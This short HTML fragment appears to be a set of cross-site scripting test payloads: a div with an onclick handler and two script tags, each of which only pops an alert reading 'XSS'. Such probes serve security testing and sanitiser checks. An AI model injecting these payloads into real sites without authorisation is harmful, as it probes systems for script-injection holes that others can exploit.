<div onclick="alert('XSS')">click me</div> <script>alert("XSS")</script> <script> alert("XSS"); </script>